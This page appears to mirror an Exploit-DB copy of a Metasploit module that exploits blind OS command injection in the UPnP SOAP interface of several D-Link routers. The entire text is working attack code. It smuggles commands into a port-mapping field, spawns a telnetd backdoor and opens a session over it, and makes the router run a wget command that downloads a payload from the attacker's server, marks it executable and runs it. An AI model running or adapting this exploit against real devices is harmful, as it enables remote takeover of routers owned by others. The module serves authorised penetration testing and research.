D-Link Devices – UPnP SOAP Command Execution (Metasploit)

  • 作者: Metasploit
    日期: 2013-07-23
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/27044/
  • ##
    # This file is part of the Metasploit Framework and may be subject to
    # redistribution and commercial restrictions. Please see the Metasploit
    # web site for more information on licensing and terms of use.
    # http://metasploit.com/
    ##
    
    require 'msf/core'
    
    class Metasploit3 < Msf::Exploit::Remote
    Rank = ExcellentRanking
    
    include Msf::Exploit::Remote::HttpClient
    include Msf::Exploit::Remote::HttpServer
    include Msf::Exploit::EXE
    include Msf::Exploit::FileDropper
    include Msf::Auxiliary::CommandShell
    
    def initialize(info = {})
    super(update_info(info,
    'Name'=> 'D-Link Devices UPnP SOAP Command Execution',
    'Description' => %q{
    Different D-Link Routers are vulnerable to OS command injection in the UPnP SOAP
    interface. Since it is a blind OS command injection vulnerability, there is no
    output for the executed command when using the CMD target. Additionally, two targets
    are included, to start a telnetd service and establish a session over it, or deploy a
    native mipsel payload. This module has been tested successfully on DIR-300, DIR-600,
    DIR-645, DIR-845 and DIR-865. According to the vulnerability discoverer,
    more D-Link devices may affected.
    },
    'Author'=>
    [
    'Michael Messner <devnull@s3cur1ty.de>', # Vulnerability discovery and Metasploit module
    'juan vazquez' # minor help with msf module
    ],
    'License' => MSF_LICENSE,
    'References'=>
    [
    [ 'OSVDB', '94924' ],
    [ 'BID', '61005' ],
    [ 'EDB', '26664' ],
    [ 'URL', 'http://www.s3cur1ty.de/m1adv2013-020' ]
    ],
    'DisclosureDate' => 'Jul 05 2013',
    'Privileged' => true,
    'Platform' => ['linux','unix'],
    'Payload'=>
    {
    'DisableNops' => true,
    },
    'Targets'=>
    [
    [ 'CMD',#all devices
    {
    'Arch' => ARCH_CMD,
    'Platform' => 'unix'
    }
    ],
    [ 'Telnet',#all devices - default target
    {
    'Arch' => ARCH_CMD,
    'Platform' => 'unix'
    }
    ],
    [ 'Linux mipsel Payload',#DIR-865, DIR-645 and others with wget installed
    {
    'Arch' => ARCH_MIPSLE,
    'Platform' => 'linux'
    }
    ],
    ],
    'DefaultTarget'=> 1
    ))
    
    register_options(
    [
    Opt::RPORT(49152),#port of UPnP SOAP webinterface
    OptAddress.new('DOWNHOST', [ false, 'An alternative host to request the MIPS payload from' ]),
    OptString.new('DOWNFILE', [ false, 'Filename to download, (default: random)' ]),
    OptInt.new('HTTP_DELAY', [true, 'Time that the HTTP Server will wait for the ELF payload request', 60]),
    ], self.class)
    end
    
    def exploit
    @new_portmapping_descr = rand_text_alpha(8)
    @new_external_port = rand(65535)
    @new_internal_port = rand(65535)
    
    if target.name =~ /CMD/
    exploit_cmd
    elsif target.name =~ /Telnet/
    exploit_telnet
    else
    exploit_mips
    end
    end
    
    def exploit_cmd
    if not (datastore['CMD'])
    fail_with(Exploit::Failure::BadConfig, "#{rhost}:#{rport} - Only the cmd/generic payload is compatible")
    end
    cmd = payload.encoded
    type = "add"
    res = request(cmd, type)
    if (!res or res.code != 200 or res.headers['Server'].nil? or res.headers['Server'] !~ /Linux\,\ UPnP\/1.0,\ DIR/)
    fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload")
    end
    print_status("#{rhost}:#{rport} - Blind Exploitation - unknown Exploitation state")
    type = "delete"
    res = request(cmd, type)
    if (!res or res.code != 200 or res.headers['Server'].nil? or res.headers['Server'] !~ /Linux\,\ UPnP\/1.0,\ DIR/)
    fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload")
    end
    return
    end
    
    def exploit_telnet
    telnetport = rand(65535)
    
    vprint_status("#{rhost}:#{rport} - Telnetport: #{telnetport}")
    
    cmd = "telnetd -p #{telnetport}"
    type = "add"
    res = request(cmd, type)
    if (!res or res.code != 200 or res.headers['Server'].nil? or res.headers['Server'] !~ /Linux\,\ UPnP\/1.0,\ DIR/)
    fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload")
    end
    type = "delete"
    res = request(cmd, type)
    if (!res or res.code != 200 or res.headers['Server'].nil? or res.headers['Server'] !~ /Linux\,\ UPnP\/1.0,\ DIR/)
    fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload")
    end
    
    begin
    sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => telnetport.to_i })
    
    if sock
    print_good("#{rhost}:#{rport} - Backdoor service has been spawned, handling...")
    add_socket(sock)
    else
    fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Backdoor service has not been spawned!!!")
    end
    
    print_status "Attempting to start a Telnet session #{rhost}:#{telnetport}"
    auth_info = {
    :host => rhost,
    :port => telnetport,
    :sname => 'telnet',
    :user => "",
    :pass=> "",
    :source_type => "exploit",
    :active => true
    }
    report_auth_info(auth_info)
    merge_me = {
    'USERPASS_FILE' => nil,
    'USER_FILE' => nil,
    'PASS_FILE' => nil,
    'USERNAME'=> nil,
    'PASSWORD'=> nil
    }
    start_session(self, "TELNET (#{rhost}:#{telnetport})", merge_me, false, sock)
    rescue
    fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Backdoor service has not been spawned!!!")
    end
    return
    end
    
    def exploit_mips
    
    downfile = datastore['DOWNFILE'] || rand_text_alpha(8+rand(8))
    
    #thx to Juan for his awesome work on the mipsel elf support
    @pl = generate_payload_exe
    @elf_sent = false
    
    #
    # start our server
    #
    resource_uri = '/' + downfile
    
    if (datastore['DOWNHOST'])
    service_url = 'http://' + datastore['DOWNHOST'] + ':' + datastore['SRVPORT'].to_s + resource_uri
    else
    #do not use SSL
    if datastore['SSL']
    ssl_restore = true
    datastore['SSL'] = false
    end
    
    #we use SRVHOST as download IP for the coming wget command.
    #SRVHOST needs a real IP address of our download host
    if (datastore['SRVHOST'] == "0.0.0.0" or datastore['SRVHOST'] == "::")
    srv_host = Rex::Socket.source_address(rhost)
    else
    srv_host = datastore['SRVHOST']
    end
    
    service_url = 'http://' + srv_host + ':' + datastore['SRVPORT'].to_s + resource_uri
    
    print_status("#{rhost}:#{rport} - Starting up our web service on #{service_url} ...")
    start_service({'Uri' => {
    'Proc' => Proc.new { |cli, req|
    on_request_uri(cli, req)
    },
    'Path' => resource_uri
    }})
    
    datastore['SSL'] = true if ssl_restore
    end
    
    #
    # download payload
    #
    print_status("#{rhost}:#{rport} - Asking the DLink device to take and execute #{service_url}")
    #this filename is used to store the payload on the device
    filename = rand_text_alpha_lower(8)
    
    cmd = "/usr/bin/wget #{service_url} -O /tmp/#{filename}; chmod 777 /tmp/#{filename}; /tmp/#{filename}"
    type = "add"
    res = request(cmd, type)
    if (!res or res.code != 200 or res.headers['Server'].nil? or res.headers['Server'] !~ /Linux\,\ UPnP\/1.0,\ DIR/)
    fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload")
    end
    
    # wait for payload download
    if (datastore['DOWNHOST'])
    print_status("#{rhost}:#{rport} - Giving #{datastore['HTTP_DELAY']} seconds to the DLink device to download the payload")
    select(nil, nil, nil, datastore['HTTP_DELAY'])
    else
    wait_linux_payload
    end
    
    register_file_for_cleanup("/tmp/#{filename}")
    
    type = "delete"
    res = request(cmd, type)
    if (!res or res.code != 200 or res.headers['Server'].nil? or res.headers['Server'] !~ /Linux\,\ UPnP\/1.0,\ DIR/)
    fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload")
    end
    end
    
    def request(cmd, type)
    
    uri = '/soap.cgi'
    
    data_cmd = "<?xml version=\"1.0\"?>"
    data_cmd << "<SOAP-ENV:Envelope xmlns:SOAP-ENV=\"http://schemas.xmlsoap.org/soap/envelope\" SOAP-ENV:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\">"
    data_cmd << "<SOAP-ENV:Body>"
    
    if type == "add"
    vprint_status("#{rhost}:#{rport} - adding portmapping")
    
    soapaction = "urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping"
    
    data_cmd << "<m:AddPortMapping xmlns:m=\"urn:schemas-upnp-org:service:WANIPConnection:1\">"
    data_cmd << "<NewPortMappingDescription>#{@new_portmapping_descr}</NewPortMappingDescription>"
    data_cmd << "<NewLeaseDuration></NewLeaseDuration>"
    data_cmd << "<NewInternalClient>`#{cmd}`</NewInternalClient>"
    data_cmd << "<NewEnabled>1</NewEnabled>"
    data_cmd << "<NewExternalPort>#{@new_external_port}</NewExternalPort>"
    data_cmd << "<NewRemoteHost></NewRemoteHost>"
    data_cmd << "<NewProtocol>TCP</NewProtocol>"
    data_cmd << "<NewInternalPort>#{@new_internal_port}</NewInternalPort>"
    data_cmd << "</m:AddPortMapping>"
    else
    #we should clean it up ... otherwise we are not able to exploit it multiple times
    vprint_status("#{rhost}:#{rport} - deleting portmapping")
    soapaction = "urn:schemas-upnp-org:service:WANIPConnection:1#DeletePortMapping"
    
    data_cmd << "<m:DeletePortMapping xmlns:m=\"urn:schemas-upnp-org:service:WANIPConnection:1\">"
    data_cmd << "<NewProtocol>TCP</NewProtocol><NewExternalPort>#{@new_external_port}</NewExternalPort><NewRemoteHost></NewRemoteHost>"
    data_cmd << "</m:DeletePortMapping>"
    end
    
    data_cmd << "</SOAP-ENV:Body>"
    data_cmd << "</SOAP-ENV:Envelope>"
    
    begin
    res = send_request_cgi({
    'uri'=> uri,
    'vars_get' => {
    'service' => 'WANIPConn1'
    },
    'ctype' => "text/xml",
    'method' => 'POST',
    'headers' => {
    'SOAPAction' => soapaction,
    },
    'data' => data_cmd
    })
    return res
    rescue ::Rex::ConnectionError
    vprint_error("#{rhost}:#{rport} - Failed to connect to the web server")
    return nil
    end
    end
    
    # Handle incoming requests from the server
    def on_request_uri(cli, request)
    #print_status("on_request_uri called: #{request.inspect}")
    if (not @pl)
    print_error("#{rhost}:#{rport} - A request came in, but the payload wasn't ready yet!")
    return
    end
    print_status("#{rhost}:#{rport} - Sending the payload to the server...")
    @elf_sent = true
    send_response(cli, @pl)
    end
    
    # wait for the data to be sent
    def wait_linux_payload
    print_status("#{rhost}:#{rport} - Waiting for the target to request the ELF payload...")
    
    waited = 0
    while (not @elf_sent)
    select(nil, nil, nil, 1)
    waited += 1
    if (waited > datastore['HTTP_DELAY'])
    fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Target didn't request request the ELF payload -- Maybe it can't connect back to us?")
    end
    end
    end
    end